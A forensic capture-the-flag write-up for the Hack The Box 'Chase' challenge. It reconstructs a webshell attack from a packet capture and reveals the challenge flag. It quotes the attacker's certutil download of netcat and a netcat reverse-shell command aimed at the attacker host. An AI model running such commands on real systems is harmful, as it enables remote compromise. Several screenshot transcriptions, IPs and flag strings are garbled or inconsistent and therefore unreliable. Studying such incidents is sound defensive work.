
Chase

Types	forensic
CTF	НТВ



Step 1 — Initial PCAP Analysis


I opened the chase.pcapng in Wireshark.

Findings:

• Source attacker: 22.22.22.7

• Victim server: 22.22.25

- Normal HTTP browsing first (GET /, GET /welcome.png).
- Then suspicious activity:
 - o POST /upload.aspx?operation=upload
 - o GET /cmd.aspx
 - POST /cmd.aspx with small payloads
- Suspicion: File upload exploit → Webshell execution.



Initial Recon

- GET / and GET /welcome.png attacker browses the site.
- upload.aspx is discovered likely an upload endpoint.

📤 Exploitation Phase

- POST /upload.aspx?operation=upload attacker uploads a file (1899 bytes).
- Response is 200 ok upload successful.

Payload Execution

- GET /cmd.aspx attacker accesses the uploaded web shell.
- POST /cmd.aspx attacker sends commands via the shell.

Tool Delivery

- GET /nc64.exe attacker downloads Netcat from their own host (22.22.22.7).
- File size: 45272 bytes confirms full binary transfer.

Flag Retrieval

• GET /JBKEE62NIFXF6ODMOUZV6NZTMFGV6URQMNMH2IBA.txt — attacker retrieves a text file.

Extract HTTP Objects

Used tshark to carve out HTTP-transferred files:

```
mkdir http-objects
tshark -r chase.pcapng --export-objects "http,http-objects"
Is -lh http-objects
```

Recovered files:

- upload.aspx (vulnerable page)
- cmd.aspx (attacker webshell)
- nc64.exe (Netcat binary)

• JBKEE62NIFXF6ODMOUZV6NZTMFGV6URQMNMH2IBA.txt (suspicious text file)

Analyze Webshell (cmd.aspx)

Content revealed a simple ASPX command execution shell:

Step 4 — Reconstruct Attacker Commands

The POST payloads (cmd(1).aspx , cmd(2).aspx , cmd(3).aspx) showed:

1. Download Netcat with certutil

```
/c certutil -urlcache -split -f http://22.22.22.7/nc64.exe c:\users\public\nc. exe
```

- → Confirmed by response: "CertUtil: -URLCache command completed successfully."
- 2. Execute reverse shell

```
/c c:\users\public\nc.exe 22.22.22.7 4444 -e cmd.exe
```

Attacker gained a remote shell on the victim.

```
(kali@ kali) |-/Desktop/htb|
$ strings http-objects/cmd(1).aspx

__YTENSTATE-%EP-GEPOMENT.NS-MBJR-WOOD POWNS ON ONE OF CHISTON—SOFT PERBEAKIZY PROGRAMMENT OF CHISTON—SOFT PER
```

```
[Strings http-objects/cmd[3].aspx [VIII]-[-/Qesktop/htb] | 5 trings http-objects/cmd[3].aspx [VIIII]-[-/Qesktop/htb] | 5 trings http-objects/cmd[3].aspx [VIIII]-[-/Qesktop/htb] | 7 tring
```

Step 5 — Check Exfiltration

File JBKEE62NIFXF6ODMOUZV6NZTMFGV6URQMNMH2IBA.txt contained:

```
(kali@ kali)-[-/Desktop/htb]
$ cat http-objects/JBKEE62NIFXF60DMOUZV6NZTMFGV6URQMMMHZIBA.txt

Hey there!
```

Step 6 — Decode the Filename

Decoded with base32:

echo "JBKEE62NIFXF6ODMOUZV6NZTMFGV6URQMNMH2IBA" | base32 -d

```
(kali9 kali)-[~/Posktop/htb]
$ echo "JBKEE62MIFXFGOOMOUZYGNZTMFGVGURQMWMHZIBA" | base32 -d 2-/dev/null
HTB{MAn_slu3_73aM_R0cX}
```

HTB{MAn_8lu3_73aM_R0cX}

there is our flag!